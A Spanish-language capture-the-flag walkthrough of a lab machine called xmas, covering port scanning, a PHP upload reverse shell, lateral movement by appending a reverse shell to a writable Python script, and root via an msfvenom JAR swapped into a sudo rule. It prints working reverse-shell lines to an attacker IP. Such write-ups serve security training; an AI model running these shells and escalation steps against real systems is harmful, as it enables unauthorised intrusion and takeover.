Enumeración de servicios
Realizamos un escaneo general de puertos y luego uno específico:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts.txt 192.168.1.15
[sudo] contraseña para wh01s17:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-01 01:58 -03
Nmap scan report for 192.168.1.15
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:7D:4A:6E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.94 seconds❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-01 01:58 -03
Nmap scan report for 192.168.1.15
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a6:3e:0b:65:85:2c:0c:5e:47:14:a9:dd:aa:d4:8c:60 (ECDSA)
|_ 256 99:72:b5:6e:1a:9e:70:b3:24:e0:59:98:a4:f9:d1:25 (ED25519)
80/tcp open http Apache httpd 2.4.55
|_http-server-header: Apache/2.4.55 (Ubuntu)
|_http-title: Did not follow redirect to http://christmas.hmv
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 secondsAcceso inicial mediante Unrestricted File Upload
El sitio redirige a http://christmas.hmv/, que agregamos al /etc/hosts. Dentro hay una vulnerabilidad de Unrestricted File Upload que conserva y publica contenido PHP. Con Wappalyzer confirmamos que el servidor ejecuta Apache, así que preparamos un PHP con una reverse shell.
Que Apache ejecute PHP no demuestra por sí solo que una subida sea explotable. También necesitamos que el archivo conserve una extensión interpretable y quede en una ruta accesible por HTTP. La conexión recibida confirma ambas condiciones y establece el contexto inicial www-data:
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>Ya como www-data, descubrimos varios usuarios pero sin acceso a sus directorios:
www-data@xmas:/home$ ls | xargs ls -la
ls | xargs ls -la
ls: cannot open directory 'alabaster': Permission denied
ls: cannot open directory 'bushy': Permission denied
ls: cannot open directory 'pepper': Permission denied
ls: cannot open directory 'santa': Permission denied
ls: cannot open directory 'shinny': Permission denied
ls: cannot open directory 'sugurplum': Permission denied
ls: cannot open directory 'wunorse': Permission deniedMovimiento lateral a alabaster
En /opt/NiceOrNaughty hay un script .py sospechoso que copiamos para analizar. Contiene credenciales de una base de datos y asigna aleatoriamente los archivos subidos a una lista naughty o nice, guardando los resultados en la carpeta del usuario alabaster. Estamos ante Writable Privileged Executable File, así que podemos añadirle una reverse shell.
La aplicación web actúa como disparador. Modificar el script no eleva privilegios inmediatamente; debemos provocar una nueva subida para que el proceso encargado del flujo lo ejecute con la identidad de alabaster:
❯ echo "os.system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.10/44444 0>&1'\")" >> nice_or_naughty.pyTras subir un archivo en la web para que se ejecute el script, obtenemos una shell como alabaster y la primera flag. Iniciamos la escalada con sudo -l:
alabaster@xmas:~$ sudo -l
sudo -l
Matching Defaults entries for alabaster on xmas:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User alabaster may run the following commands on xmas:
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/java -jar
/home/alabaster/PublishList/PublishList.jarEscalada de privilegios
Podemos ejecutar un .jar como root. Creamos uno malicioso con msfvenom.
El caso de Sudo-Allowed Program Abuse nace porque la regla de sudo autoriza una ruta fija, pero PublishList.jar puede reemplazarse. Sudo valida el comando y la ruta, no el contenido interno del JAR. Al conservar el nombre autorizado, Java carga nuestro payload con UID 0:
❯ msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.10 LPORT=6666 -f jar -o PublishList.jarLo transferimos con netcat: la víctima queda a la escucha y escribe los datos recibidos en la ruta autorizada por sudo:
❯ nc -vl 6666 > PublishList.jarDesde la máquina atacante enviamos el JAR recién generado:
❯ nc -v 192.168.1.15 6666 < PublishList.jarPonemos un listener y ejecutamos el jar como root:
❯ rlwrap nc -lvnp 6666❯ sudo /usr/bin/java -jar /home/alabaster/PublishList/PublishList.jarLas notas registran que el JAR abrió una shell como root y permitió capturar la bandera, pero no conservaron el prompt ni una salida de identidad de esa conexión.